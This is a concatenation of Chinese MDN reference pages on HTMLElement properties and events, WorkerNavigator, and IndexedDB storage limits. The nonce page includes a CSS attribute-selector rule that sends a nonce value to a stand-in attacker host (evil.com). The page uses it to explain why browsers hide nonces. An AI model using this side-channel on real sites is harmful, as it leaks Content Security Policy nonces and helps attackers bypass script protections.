recursal/MDN huggingface dataset:
HTMLElement.dataset
===================

`HTMLElement` 接口的只读属性 **`dataset`** 提供了对元素上自定义数据属性（`data-*`）读/写访问。它暴露了一个字符串映射（`DOMStringMap`），其中包含每个 `data-*` 属性条目。

**备注：** `dataset` 属性本身可以被读取，但是不能直接写入。相反，所有写入都必须是写入 `dataset` 的单个属性，而 dataset 又表示这些数据的属性。

一个 HTML 的 `data-*` 属性和它相关的 DOM `dataset.property` 根据它们的读取或者写入的位置修改其共享的名称：

在 HTML

属性名以 `data-` 开头。它只能包含字母、数字、破折号（`-`）、句号（`.`）、冒号（`:`）和下划线（`_`）。任意的 ASCII 大写字母（`A` 到 `Z`）都会转换为小写。

在 JavaScript

自定义 data 属性的属性名与没有 `data-` 前缀的 HTML 属性相同，并且在移除单个破折号（`-`）后，大写之后的字母以获得属性的“驼峰”命名。

除了以下属性，你还可以在我们的文章*使用 data 属性*中找到使用 HTML 数据属性的操作指南。

### 名称转换

从 `dash-style` 转换到 `camelCase`

一个自定义的 data 属性名转换为 `DOMStringMap` 条目的键，如下：

1. 小写所有 ASCII 大写字母（`A` 到 `Z`）；
2. 移除前缀 `data-`（包括破折号）；
3. 对于任何破折号（`U+002D`）后面跟随的 ASCII 小写字母 `a` 到 `z`，移除破折号并且大写字母；
4. 其他字符（包括其他破折号）保持不变。

从 `camelCase` 到 `dash-style` 转变

与以上内容转换相反，将该键映射到一个属性名，使用以下方式：

1. **限制**：在转换之前，破折号*不得*立即后跟 ASCII 小写字母 `a` 到 `z`；
2. 增加 `data-` 前缀；
3. 在任何 ASCII 大写字母 `A` 到 `Z` 之前增加一个破折号，然后小写该字母。
4. 其他字母不做改变。

例如，一个 `data-abc-def` 属性对应于 `dataset.abcDef`。

### 获取值

* 属性可以驼峰名/键的方式作为 dataset 的对象属性设置和读取：`element.dataset.keyname`。
* 属性也可以使用方括号语法设置和读取：`element.dataset['keyname']`。
* 使用 `in` 操作符 可以检查一个给定的属性是否存在：`'keyname' in element.dataset`。
### 设置值

* 设置属性时，它的值总是转化为一个字符串。例如：`element.dataset.example = null` 被转化为 `data-example="null"`。
* 为了移除一个属性，你可以使用 `delete` 操作符：`delete element.dataset.keyname`。
值
-

一个 `DOMStringMap`。

示例
--


```html
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>
  John Doe
</div>
```



```js
const el = document.querySelector("#user");

// el.id === 'user'
// el.dataset.id === '1234567890'
// el.dataset.user === 'johndoe'
// el.dataset.dateOfBirth === ''

// set a data attribute
el.dataset.dateOfBirth = "1960-10-03";
// Result on JS: el.dataset.dateOfBirth === '1960-10-03'
// Result on HTML: <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth="1960-10-03">John Doe</div>

delete el.dataset.dateOfBirth;
// Result on JS: el.dataset.dateOfBirth === undefined
// Result on HTML: <div id="user" data-id="1234567890" data-user="johndoe">John Doe</div>

if (!("someDataAttr" in el.dataset)) {
  el.dataset.someDataAttr = "mydata";
  // Result on JS: 'someDataAttr' in el.dataset === true
  // Result on HTML: <div id="user" data-id="1234567890" data-user="johndoe" data-some-data-attr="mydata">John Doe</div>
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-dataset-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 全局属性的 HTML `data-*` 类。
* 使用 data 属性
* `Element.getAttribute()` 和 `Element.setAttribute()`
HTMLElement.offsetWidth
=======================

**`HTMLElement.offsetWidth`** 是一个只读属性，返回一个元素的布局宽度。一个典型的（译者注：各浏览器的 offsetWidth 可能有所不同）offsetWidth 是测量包含元素的边框 (border)、水平线上的内边距 (padding)、竖直方向滚动条 (scrollbar)（如果存在的话）、以及 CSS 设置的宽度 (width) 的值。

语法
--
```

var offsetWidth =element.offsetWidth;
```


`intElemOffsetWidth` is a variable storing an integer corresponding to the `offsetWidth` pixel value of the element. `offsetWidth` 是一个只读属性。

**备注：** 这个属性将会 round(四舍五入) 为一个整数。如果你想要一个 fractional(小数) 值，请使用`element.getBoundingClientRect()`.

示例
--

![Image:Dimensions-offset.png](/zh-CN/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetwidth |

### 备注

`offsetWidth` 是一个 DHTML 对象模型中的属性，由微软 IE 浏览器首次引入。有时候它也可以称为一个元素的物理或图形尺寸，或者 border-box（译者注：即 CSS3 中的 border-box 模型）的宽度。

参见
--

* `Element.clientWidth`
* `Element.scrollWidth`
* Determining the dimensions of elements (en-US)
HTMLElement：style 属性
====================

只读属性 **`style`** 以 `CSSStyleDeclaration` 实时对象（Live Object）的形式返回元素的*内联*样式，该对象包含该元素的所有样式属性列表，只为元素的内联 `style` 属性中定义的属性分配值。

简写属性会展开。如果设置了 `style="border-top: 1px solid black"`，会设置完整属性（`border-top-color`、`border-top-style` 和 `border-top-width`）。

该属性是只读的，意味着不可以将 `CSSStyleDeclaration` 对象赋值给它。然而，可以通过直接给 `style` 属性分配一个*字符串*来设置内联样式。在这种情况下，这个字符串被转发到 `CSSStyleDeclaration.cssText` (en-US)。以这种方式使用 `style` 将完全覆盖该元素的所有内联样式。

因此，要在不改变其他样式值的情况下为一个元素添加特定的样式，通常最好是在 `CSSStyleDeclaration` 对象上设置个别属性。例如，你可以写成 `element.style.backgroundColor = "red"`。

样式声明可通过设置它为 `null` 或空字符串来重置，比如 `elt.style.color = null`。

**备注：** 通过这些规则，CSS 属性名称被转换为 JavaScript 标识符：

* 如果属性是由一个单词组成的，则保持原样：如 `height`（也保持小写）。
* 如果属性是由若干个单词组成的，由横线分隔，则横线被移除，并转化为*驼峰*形式：如 `background-attachment` 转换为 `backgroundAttachment`。
* 作为 JavaScript 保留关键字的 `float` 属性被转化为 `cssFloat`。

通过 `style` 属性设置的样式优先级与内联样式声明相同。

值
-

一个实时的 `CSSStyleDeclaration` 对象。

示例
--

### 获取样式信息

以下代码片段演示了从元素的 `style` 属性获得的值如何与 HTML 属性上设置的样式相关。


```html
<!doctype html>
<html lang="zh-CN">
  <body style="font-weight:bold">
    <div style="border-top: 1px solid blue; color:red" id="elt">
      一个简单的 div
    </div>
    <pre id="out"></pre>
  </body>
</html>
```



```js
const element = document.getElementById("elt");
const out = document.getElementById("out");
const elementStyle = element.style;

// 我们迭代所有的样式（for…of 对 CSStyleDeclaration 无效）
for (const prop in elementStyle) {
  if (Object.hasOwn(elementStyle, prop)) {
    out.textContent += `${
 elementStyle[prop]
 } = '${elementStyle.getPropertyValue(elementStyle[prop])}'\n`;
  }
}
```


注意，`font-weight` 没有被列为 `elementStyle` 的一个值，因为它没有被定义在元素本身的 `style` 属性中。相反，它是从其父级元素的定义中继承的。还要注意的是，在 `style` 属性中定义的简写属性 `border-top`，没有直接列出。相反，它被三个相应的完整属性（`border-top-color`、`border-top-style` 和 `border-top-width`）取代。

规范
--

| Specification |
| --- |
| CSS Object Model (CSSOM) # dom-elementcssinlinestyle-style |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 使用动态样式信息
* `SVGElement.style` (en-US)
HTMLElement.lang
================

**`HTMLElement.lang`** 属性用来获取或设置元素属性值或文本内容的基语言（base language）。

该属性返回的语言代码（language code）被定义在 RFC 1766。通常，"en" 表示英语（English）、"ja" 表示（Japanese）、"zh-cn" 表示简体中文等等。该属性的默认值未知（`unknown`）。尽管该属性可以应用在单独的元素上，但是通常在文档的根元素（html）上指定。

该属性只对 `lang` 属性（attribute）有效，不适用于 `xml:lang`。

语法
--
```

var languageUsed = elementNodeReference.lang; // 获取 lang 值
elementNodeReference.lang = NewLanguage; // 为 lang 设置新值
```


`languageUsed` 是一个字符串变量，可以获取当前元素的文本是用什么语言写的。`NewLanguage` 是一个字符串变量，其值用来作为当前元素的文本的语言。

示例
--


```js
// 该代码比较了基语言（base language），然后
// 重定向到了基于该语言的 url
if (document.documentElement.lang === "en") {
  window.location.href = "Some\_document.html.en";
} else if (document.documentElement.lang === "ru") {
  window.location.href = "Some\_document.html.ru";
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-lang |
HTMLElement：dragover 事件
=======================

`dragover` 事件在可拖动的元素或者被选择的文本被拖进一个有效的放置目标时（每几百毫秒）触发。

该事件在放置目标上触发。

语法
--

在 `addEventListener()` 等方法中使用事件名称，或者设置事件处理器属性。


```js
addEventListener("dragover", (event) => {});

ondragover = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了以下的属性，来自父接口 `Event` 的属性也是可用的。*

`DragEvent.dataTransfer` 只读 

在拖放交互期间转移的数据。

示例
--

### 一个小巧的拖放示例

在该示例中，我们在容器中有一个可拖动的元素。尝试抓住元素，拖动它进入另一个容器，然后释放它。

在这里，我们有三个事件处理程序：

* 在 `dragstart` 事件处理程序中，我们得到了用户拖动元素的引用。
* 在目标容器的 `dragover` 事件处理程序中，我们调用 `event.preventDefault()`，这使它能够接收 `drop` 事件。
* 在放置区域的 `drop` 事件处理程序中，我们将可拖动的元素从原始区域移动到可放置区域。

关于更完整的拖放示例，请参见 `drag` 事件。

#### HTML


```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```


#### CSS


```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```


#### JavaScript


```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // store a ref. on the dragged elem
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // prevent default to allow drop
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // prevent default action (open as link for some elements)
  event.preventDefault();
  // move dragged element to the selected drop target
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```


#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragover |
| HTML Standard # event-dnd-dragover |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragenter`
    + `dragleave`
    + `drop`
* 其他目标中的该事件：
    + `Window`：`dragover` 事件
    + `Document`：`dragover` 事件
    + `SVGElement`：`dragover` 事件
HTMLElement：cut 事件
==================

**`cut`** 事件在用户通过浏览器的用户界面开始剪切操作时触发。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。


```js
addEventListener("cut", (event) => {});

oncut = (event) => {};
```

事件类型
----

`ClipboardEvent`。继承自 `Event`。

Event

ClipboardEvent事件属性
----

*也从其父接口 `Event` 继承属性。*

`ClipboardEvent.clipboardData` 只读 

一个 `DataTransfer` 对象，其包含用户发起的 `cut`、`copy` 或 `paste` 操作所影响的数据，以及它的 MIME 类型。

示例
--

此示例允许从 `<textarea>` 复制文本，但不允许剪切文本。它还记录每次复制和剪切的尝试。

### HTML


```html
<h3>试一下这个文本区域：</h3>
<textarea id="editor" rows="3">
尝试复制和剪切该字段中的文本！
</textarea>

<h3>日志：</h3>
<p id="log"></p>
```

### JavaScript


```js
function logCopy(event) {
  log.innerText = `已复制！\n${log.innerText}`;
}

function preventCut(event) {
  event.preventDefault();
  log.innerText = `已阻止剪切！\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.oncut = preventCut;
```

### 结果

规范
--

| Specification |
| --- |
| Clipboard API and events # clipboard-event-cut |
| HTML Standard # handler-oncut |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件
    + `HTMLElement.copy_event`
    + `HTMLElement.paste_event`
HTMLElement.offsetLeft
======================

**`HTMLElement.offsetLeft`** 是一个只读属性，返回当前元素*左上角*相对于 `HTMLElement.offsetParent` 节点的左边界偏移的像素值。

对块级元素来说，`offsetTop`、`offsetLeft`、`offsetWidth` 及 `offsetHeight` 描述了元素相对于 `offsetParent` 的边界框。

然而，对于可被截断到下一行的行内元素（如 **span**），`offsetTop` 和 `offsetLeft` 描述的是*第一个*边界框的位置（使用 `Element.getClientRects()` 来获取其宽度和高度），而 `offsetWidth` 和 `offsetHeight` 描述的是边界框的尺寸（使用 `Element.getBoundingClientRect` 来获取其位置）。因此，使用 `offsetLeft、offsetTop、offsetWidth`、`offsetHeight` 来对应 left、top、width 和 height 的一个盒子将不会是文本容器 span 的盒子边界。

语法
--
```

left = element.offsetLeft;
```


`left` 是一个整数，表示向左偏移的像素值。

示例
--
```

var colorTable = document.getElementById("t1");
var tOLeft = colorTable.offsetLeft;

if (tOLeft > 5) {
  // large left offset: do something here
}
```


这个例子展示了蓝色边框的 div 包含一个长的句子，红色的盒子是一个可以表示包含这个长句子的 span 标签的边界。

![Image:offsetLeft.jpg](/zh-CN/docs/Web/API/HTMLElement/offsetLeft/offsetleft.jpg)
```

<div style="width: 300px; border-color:blue;
  border-style:solid; border-width:1;">
  <span>Short span. </span>
  <span id="long">Long span that wraps withing this div.</span>
</div>

<div id="box" style="position: absolute; border-color: red;
  border-width: 1; border-style: solid; z-index: 10">
</div>

<script>
  var box = document.getElementById("box");
  var long = document.getElementById("long");
  //
  // long.offsetLeft 这个值就是 span 的 offsetLeft.
  // long.offsetParent 返回的是 body（在 chrome 浏览器中测试）
  // 如果 id 为 long 的 span 元素的父元素 div，设置了 position 属性值，只要不为 static，那么 long.offsetParent 就是 div

  box.style.left = long.offsetLeft + document.body.scrollLeft + "px";
  box.style.top = long.offsetTop + document.body.scrollTop + "px";
  box.style.width = long.offsetWidth + "px";
  box.style.height = long.offsetHeight + "px";
</script>
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetleft |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `HTMLElement.offsetParent`、`HTMLElement.offsetTop`、`HTMLElement.offsetWidth`、`HTMLElement.offsetHeight`
error
=====

当一个资源加载失败或无法使用时，会在`Element`对象上触发`error`事件。例如当脚本执行错误、或图片无法找到或图片无效时。

|  |  |
| --- | --- |
| Bubbles（支持冒泡） | No |
| Cancelable（可撤销） | No |
| Interface（接口） | `Event` 或`UIEvent` |
| Event handler property（事件处理程序属性） | `onerror` |

如果事件对象是从用户界面元素生成的，则它是一个`UIEvent`实例;反之，它是一个`Event`实例。

示例
--

### 在线示例

#### HTML


```html
<div class="controls">
  <button id="img-error" type="button">生成图像 error</button>
  <img class="bad-img" />
</div>

<div class="event-log">
  <label>Event log:</label>
  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
</div>
```


```
body {
  display: grid;
  grid-template-areas: "control log";
}

.controls {
  grid-area: control;
  display: flex;
  align-items: center;
  justify-content: center;
}

.event-log {
  grid-area: log;
}

.event-log-contents {
  resize: none;
}

label,
button {
  display: block;
}

button {
  height: 2rem;
  margin: 0.5rem;
}

img {
  width: 0;
  height: 0;
}
```


#### JS


```js
const log = document.querySelector(".event-log-contents");

const badImg = document.querySelector(".bad-img");
badImg.addEventListener("error", (event) => {
  log.textContent = log.textContent + `${event.type}: Loading image\n`;
  console.log(event);
});

const imgError = document.querySelector("#img-error");
imgError.addEventListener("click", () => {
  badImg.setAttribute("src", "i-dont-exist");
});
```


#### 结果

规范
--

| Specification |
| --- |
| UI Events # event-type-error |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参阅
--

* This event on `Window` targets: `error` event
HTMLElement：paste 事件
====================

**`paste`** 事件在用户通过浏览器的用户界面开始粘帖操作时触发。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。


```js
addEventListener("paste", (event) => {});

onpaste = (event) => {};
```

事件类型
----

`ClipboardEvent`。继承自 `Event`。

Event

ClipboardEvent事件属性
----

*也从其父接口 `Event` 继承属性。*

`ClipboardEvent.clipboardData` 只读 

一个 `DataTransfer` 对象，其包含用户发起的 `cut`、`copy` 或 `paste` 操作所影响的数据，以及它的 MIME 类型。

示例
--

此示例记录每一次对 `<textarea>` 的复制和粘贴的尝试。

### HTML


```html
<h3>试一下这个文本区域：</h3>
<textarea id="editor" rows="3">
尝试将文本复制并粘贴到该字段中！
</textarea>

<h3>日志：</h3>
<p id="log"></p>
```

### JavaScript


```js
function logCopy(event) {
  log.innerText = `已复制！\n${log.innerText}`;
}

function logPaste(event) {
  log.innerText = `已粘贴！\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### 结果

规范
--

| Specification |
| --- |
| Clipboard API and events # clipboard-event-paste |
| HTML Standard # handler-onpaste |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件
    + `HTMLElement.copy_event`
    + `HTMLElement.cut_event`
HTMLElement.nonce
=================

`HTMLElement` 接口的 **`nonce`** 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。

在接下来的实现中，有 nonce 属性的元素只能在脚本中使用（不可以在其他渠道使用，比如 css 属性选择器）。

示例
--

### 访问 nonce 属性值

以前，并不是所有的浏览器都支持 `nonce` IDL 属性，因此在实际应用场景中，尝试使用 `getAttribute` 作为备选：


```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```


然而，最新的浏览器版本都隐藏了 `nonce` 值（返回一个空值）。IDL 属性（`script['nonce']`）成为唯一的访问方式。

隐藏 Nonce 是为了阻止攻击者通过某种机制提取出 nonce 值，比如下面这种方式：


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLElement：dragleave 事件
========================

`dragleave` 事件在拖动的元素或选中的文本离开一个有效的放置目标时被触发。

此事件不可取消。

语法
--

在类似 `addEventListener()` 这样的方法中使用事件名称，或设置事件处理器属性。


```js
addEventListener("dragleave", (event) => {});

ondragleave = (event) => {};
```

事件类型
----

一个 `DragEvent`。继承自 `Event`。

Event

UIEvent

MouseEvent

DragEvent事件属性
----

*除了下面列出的属性外，还可以使用父接口 `Event` 的属性。*

`DragEvent.dataTransfer` 只读 

在进行拖放操作时，传输的数据。

示例
--

### 在 dragleave 时重置拖放区域的样式

在此示例中，我们在容器内有一个可拖动元素。尝试抓住这个元素，将其拖到另一个容器中，然后释放它。

在可拖动元素被拖到另一个容器上方时，我们将容器的背景设置为紫色，以表示这个可拖动元素可以被放置到该容器中。我们会监听 `dragleave` 事件，以在可拖动元素离开容器时重置容器的背景。

请注意，我们没有在这个示例中实现元素的放置：完整的拖放示例，请参见 `drag` 事件。

#### HTML


```html
<div class="dropzone">
  <div id="draggable" draggable="true">这个 div 可以拖动</div>
</div>
<div class="dropzone" id="droptarget"></div>
```


#### CSS


```css
body {
  /\* Prevent the user selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}
```


#### JavaScript


```js
const target = document.getElementById("droptarget");
target.addEventListener("dragenter", (event) => {
  // highlight potential drop target when the draggable element enters it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // reset background of potential drop target when the draggable element leaves it
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});
```


#### 结果

规范
--

| Specification |
| --- |
| HTML Standard # ix-handler-ondragleave |
| HTML Standard # event-dnd-dragleave |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 其他拖放事件：
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `drop`
* 其他目标上的此事件：
    + `Window`：`dragleave` 事件
    + `Document`：`dragleave` 事件
    + `SVGElement`：`dragleave` 事件
SubmitEvent.submitter
=====================

在 `SubmitEvent` (en-US) 接口的只读属性 **`submitter`** 用于指定提交按钮或者被用来提交表单的其他元素。

值
-

一个元素，表示发送 `submit` 事件的表单元素。通常是 `type` 属性是 `submit` 的 `<input>` 元素或者 `type` 属性是 `submit` 的 `<button>` 元素，但它也可能是启动提交过程的其他元素。

如果提交不是由某些按钮触发的。则 `submitter` 的值是 `null`。

示例
--

完整示例代码参见 `SubmitEvent` (en-US)。

规范
--

| Specification |
| --- |
| HTML Standard # the-submitevent-interface:dom-submitevent-submitter-2 |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
WorkerNavigator：locks 属性
========================

**安全上下文:** 此项功能仅在一些支持的浏览器的安全上下文（HTTPS）中可用。

`WorkerNavigator` (en-US) 接口的 **`locks`** 只读属性返回一个 `LockManager` 对象，该对象提供了请求新的 `Lock` 对象和查询现有的 `Lock` 对象的方法。

值
-

一个 `LockManager` 对象。

规范
--

| Specification |
| --- |
| Web Locks API # dom-navigatorlocks-locks |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
WorkerNavigator.gpu
===================

**实验性:** **这是一项实验性技术**  
在将其用于生产之前，请仔细检查浏览器兼容性表格。

`WorkerNavigator` (en-US) 接口的 **`gpu`** 只读属性为当前浏览上下文返回 `GPU` 对象，该对象是 WebGPU API 的入口点。

值
-

一个 `GPU` 对象。

示例
--


```js
// 在 web worker 中可以运行
async function init() {
  if (!navigator.gpu) {
    throw Error("WebGPU not supported.");
  }

  const adapter = await navigator.gpu.requestAdapter();
  if (!adapter) {
    throw Error("Couldn't request WebGPU adapter.");
  }

  const device = await adapter.requestDevice();

  //...
}
```

规范
--

| Specification |
| --- |
| WebGPU # navigator-gpu |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* WebGPU API
IndexedDB 浏览器存储限制和清理标准
======================

有许多 Web 技术可以在客户端（即本地磁盘上）存储这种或那种数据。浏览器计算分配给 Web 数据存储的空间大小以及达到该限制时要删除的内容的过程并不简单，并且浏览器之间有所不同。本文介绍了浏览器如何确定要清除的本地内容以及何时释放所需的本地存储空间。

**备注：** 对于大多数现代浏览器，以下信息应该相当准确，但在已知的情况下会调出特定于浏览器的信息。Opera 和 Chrome 在所有情况下都应该表现相同。Opera Mini（仍然是基于 presto 的，服务器端呈现）不会在客户端上存储任何数据。

什么技术使用浏览器数据存储？
--------------

在 Firefox 中，以下技术利用浏览器数据存储在需要时存储数据。在这种情况下，我们将它们称为“配额客户”：

* IndexedDB
* asm.js缓存
* 缓存 API
* Cookies

**备注：** 在 Firefox 中，Web Storage也将很快开始使用相同的存储管理工具，如本文档中所述。

**备注：** 在隐私浏览模式下，大多数数据存储不被支持。本地存储数据和 cookie 仍然可用，但它们是短暂的——当关闭最后一个隐私浏览窗口时，数据将被删除。

源的“最后访问时间”会更新，当其中任何一个被激活/停用时——所有这些源下的配额客户端的数据会被回收。

在 Chrome/Opera 中，Quota Management API 处理 AppCache、IndexedDB、WebSQL 和 File System API 的配额管理。

数据存储的不同类型
---------

即使在相同的浏览器、使用相同的存储方法，仍然存在不同的数据存储方法需要我们搞清楚。这部分我们讨论那些在不同浏览器之间的不同之处。

一般来说，数据存储的的类型主要有以下两种：

* 持久化存储：这种数据是希望长久保留的，只有的当用户选择清除才会被删除掉（比如，在 Firefox 中，你可以通过转到“*首选项*”并使用“*隐私和安全*”>“*Cookie 和站点数据*”下的选项，选择删除所有存储的数据或仅删除所选来源的存储数据）。
* 临时存储：这种数据不用保存很久，当最近一次使用时储存限制达到限制大小就会被自动清理掉（LRU 策略）。

在 Firefox 中，当使用持久存储时，会向用户提供一个 UI 弹出窗口，提醒他们这些数据将持续存在，并询问他们是否对此感到满意。临时数据存储不会引发任何用户提示。

默认的是临时存储；开发人员可以选择使用 `StorageManager.persist()` 方法使用持久储存。

数据存储在哪里？
--------

每种存储类型代表一个单独的存储库。这是用户 Firefox 配置文件下目录的实际映射（其他浏览器可能略有不同）：

* `<profile>/storage`——配额管理器维护的主要顶级目录（见下文）
* `<profile>/storage/permanent`——持久数据存储库
* `<profile>/storage/temporary`——临时数据存储库
* `<profile>/storage/default`——默认数据存储库

**备注：** 引入Storage API后，“permanent”文件夹可以被认为是过时的；“permanent”文件夹仅存储 IndexedDB 持久性数据库。模式是“best-effort”还是“persistent”并不重要——数据存储在<profile>/storage/default 下。

**备注：** 在 Firefox 中，可以通过`about:support`在 URL 栏中输入，然后按“ *配置文件夹”*标题旁边的*“在...中显示...”*按钮（例如，在 Mac OS X 上的*“在 Finder 中显示”）来查找*你的*配置文件文件夹*。

**备注：** 如果你在存储的数据中查看配置文件，你可能会看到第四个文件夹：`persistent`。基本上，该`persistent`文件夹刚刚重命名为`permanent`以保持升级/迁移更简单。

**注意**：用户不应在其下添加自己的目录或文件到`<profile>/storage`下。这将导致存储初始化失败；例如，`open()`会触发错误事件。

### 数据储存限制

浏览器的最大存储空间是动态的——它取决于你的硬盘大小。**全局限制**为可用磁盘空间的 50％。在 Firefox 中，一个名为 Quota Manager 的内部浏览器工具会跟踪每个源用尽的磁盘空间，并在必要时删除数据。

因此，如果你的硬盘驱动器是 500GB，那么浏览器的总存储容量为 250GB。如果超过此范围，则会发起称为**源回收**的过程，删除整个源的数据，直到存储量再次低于限制。删除源数据没有只删一部分的说法——因为这样可能会导致不一致的问题。

还有另一个限制称为**组限制**——这被定义为全局限制的 20％，但它至少有 10 MB，最大为 2GB。每个源都是一组（源组）的一部分。每个 eTLD+1 域都有一个组。例如：

* `mozilla.org`——组 1，源 1
* `www.mozilla.org`——组 1，源 2
* `joe.blogs.mozilla.org`——组 1，源 3
* `firefox.com`——组 2，源 4

在这个组中，`mozilla.org`、`www.mozilla.org`和`joe.blogs.mozilla.org`可以聚合使用最多 20％的全局限制。firefox.com 单独最多使用 20％。

达到限制后有两种不同的反应：

* 组限制也称为“硬限制”：它不会触发源回收。
* 全局限制是一个“软限制”，因为其有可能释放一些空间并且这个操作可能持续。

**备注：** 尽管上面提到了最小组限制，但组限制不能超过全局限制。如果你的内存非常低，全局限制为 8 MB，则组限制也将为 8 MB。

**备注：** 如果超出组限制，或者如果原因驱逐无法释放足够的空间，浏览器将抛出`QuotaExceededError`错误。

**备注：** 在 Chrome 中，自 M66 以来，软硬存储配额限制已发生变化。更多信息可以在这里找到。

LRU 策略
------

当可用磁盘空间已满时，配额管理器将根据 LRU 策略开始清除数据——最近最少使用的源将首先被删除，然后是下一个，直到浏览器不再超过限制。

我们使用临时存储跟踪每个源的“上次访问时间”。一旦达到临时存储的全局限制（之后会有更多限制），我们将尝试查找所有当前未使用的源（即没有打开选项卡/应用程序的那些来保持打开的数据存储）。然后根据“上次访问时间”对它们进行排序。然后删除最近最少使用的源，直到有足够的空间来满足触发此源回收的请求。

参见
--

* 在移动浏览器上使用配额（Eiji Kitamura著）：详细分析了移动浏览器上的客户端存储。
* 配额管理 API：快速实践 （Eiji Kitamura著）：查看 Chrome / Blink 中的配额管理 API（也应包括 Opera）。